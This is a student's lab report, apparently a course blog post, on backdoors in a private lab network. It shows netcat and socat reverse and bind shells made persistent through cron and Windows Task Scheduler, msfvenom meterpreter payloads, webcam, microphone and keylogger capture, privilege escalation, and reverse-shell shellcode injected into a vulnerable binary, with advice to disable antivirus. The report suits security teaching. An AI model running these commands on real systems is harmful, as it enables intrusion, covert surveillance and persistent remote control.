2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践

2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践

一、实验目标

  • 清楚后门概念
  • 会用nc获取远程主机的Shell
  • 会用meterpreter
  • 会启动后门

二、实验内容

  • 使用netcat获取主机操作Shell,cron启动;
  • 使用socat获取主机操作Shell, 任务计划启动;
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

三、基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 下载某个软件或者误点链接时后门可能进入系统

例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows中在开机的时候自启动或者用户执行带后门的文件的时候启动
  • Linux中可以通过cron启动

Meterpreter有哪些给你映像深刻的功能?

  • 除了本次实验中完成的通过后门控制被控主机的shell,调用麦克风、摄像头、键盘、读取屏幕,还有从被控主机上对相关文件的下载和上传。

如何发现自己有系统有没有被安装后门?

  • 通过杀毒软件检测系统有无异常
  • 查看系统的自启动项,注册表有无异常
  • 通过nestat -na查看是否有异常开放的端口

四、基本工具熟悉

1.ncat

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

准备

  • 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
  • 在老师提供的附件中下载ncat.rar
windows(ipconfig):192.168.80.1
kail(ifconfig):192.168.80.132

(1)Win获得Linux Shell

  • windows 打开监听E:\大三下\网络对抗技术\第二次实验\ncat>ncat.exe -l -p 5225
  • Linux反弹连接nc 192.168.80.1 5225 -e /bin/sh
  • 进入主机,通过命令ls/或其他,验证运行kail的shell

(2)Linux获得Win Shell

  • Linux运行监听指令nc -l -p 5225
  • Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.80.132 5225

(2)nc传输数据

  • 直接传输文字:主机下建立监听端口5225ncat.exe -l 5225,kail下建立连接至主机端口nc 192.168.80.1 5225,建立成功后可进行文字传输

  • 传输文件
    • Windows下建立端口同时定义接收地址ncat.exe -l 5225 > file.in
    • kail下创建测试文件file.out
    • 连接至主机进行文件输送nc 192.168.80.1 5225 < file.out

2.Socat

  • 又称Netcat++,超级netcat工具,是nc的加强版
  • 任何代理、转发等功能都可以用该工具实现
  • 使用方法与nc类似

3.Meterpreter(使用msfvenom生成后门可执行文件)

  • 后门是一个程序
  • 有人建立一个平台,详细说明了后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数

4.corn

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以man cron

五、实验任务

任务一:使用netcat获取主机操作Shell,cron启动

1.思路

  • 在windows里监听
  • 在Linux里利用corn设置定时启动反弹指令
    2.实验步骤
  • 在Win主机监听5225端口

  • 在Kali中,用crontab -e指令编辑一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器
  • crontab -l可查看编辑情况
  • 增加命令为20 * * * * /bin/netcat 192.168.80.1 5225 -e /bin/sh即为每个小时的第20分钟时执行后方命令(数字填写以自己做实验的时间来定)

  • 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

任务二、使用socat获取主机操作Shell, 任务计划启动

  • 在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

  • 点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

  • 点击常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5225 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5225,同时把cmd.exestderr重定向到stdout上:


  • 创建完成之后,windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.80.1:5225这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5225端口,此时可以发现已经成功获得了一个cmd shell


任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;

  • 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 -f exe > 20175225_backdoor.exe

此时因为在控制端生成后门,所以此ip为kail的ip地址

  • 同准备阶段:将生成的后门程序传输到主机
  • 在主机下执行ncat.exe -l 5225 > 201725225_backdoor.exe
  • 在kali中通过nc 192.168.80.1 5225 < 20175225_backdoor.exe将生成的后门程序传送到主机上

  • 回到控制端,通过命令msfconsole进入控制台

  • 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.132
set LPORT 5225
  • 设置完成,执行监听exploit
  • 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

  • 保持任务三,之后进行任务四操作
  • 使用record_mic指令截获一段音频

  • 使用webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影

  • 使用screenshot指令可以进行截屏

  • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

使用msf生成shellcode

  • 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload
  • 通过命令生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.80.132 LPORT=5225 -f elf > pwn1_exp2

  • 在另一个终端中启动mfs控制台(和任务三中过程相同),此时的playload为linux/x86/shell/reverse_tcp
    kali输入msfconsole进入msf控制台,后输入:
    use exploit/multi/handler进入监听模块,设置payloadset payload linux/x86/shell/reverse_tcp,使用与生成后门程序时相同的payloadset LHOST 192.168.80.132,set LPORT 5225使用5225端口,exploit设置完成,开始监听;

从网站上下载shellcode

  • shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接


将里面的机器码复制出来

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
  • 注入前的准备工作(同实验一)

  • 通过gdb调试寻找shellcode的起始地址
    初始input_shellcode:
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

gdb调试

  • 通过gdb调试找到shellcode的返回地址0xffffd290,然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode 文件,具体代码如下:
perl -e 'print "A" x 32;print"\x90\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
  • 在新终端b中启动msfconsole,执行和任务3中同样的指令打开监听
 use exploit/multi/handler 
    set payload linux/x86/shell_reverse_tcp 
    set LHOST 127.0.0.1 
    set LPORT 4444     ##在下载的图中有标注相应的IP地址和端口号
    show options 
    exploit
  • 在终端a中通过管道符对input_shellcode进行注入,执行(cat input_shellcode;cat) | ./pwn1 ,可以看到能够成功运行


六、实验总结

实验中遇到的问题

  • 问题1:在进行任务四录音的时候,输入指令,出现如图错误。

  • 解决方案:经查询发现是因为麦克风权限被关了,导致无法访问麦克风,从而出现了如图的提示,打开麦克风权限就可以正常录制了。

  • 问题2:在做任务3时,msfconsole中出现如图情况

  • 解决方案:经多方探寻发现是因为电脑杀毒软件把后门程序当做病毒杀死了,从而导致程序无法运行,把杀毒软件关闭再将后门程序传到主机就可以了。

实验总结

本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
本次实验中遇到了很多问题,有些是自己粗心导致的,有些是自己所没有接触到的,在网上查找资料和询问同学以后还是得到了解决,尽快花费了很多时间,但还是有很大的收获。本次实验也让我意识到后门功能的强大性和危害性,因此我们对后门的防范也是非常重要的。

posted @ 2020-03-17 09:44  20175225  阅读(208)  评论(0编辑  收藏  举报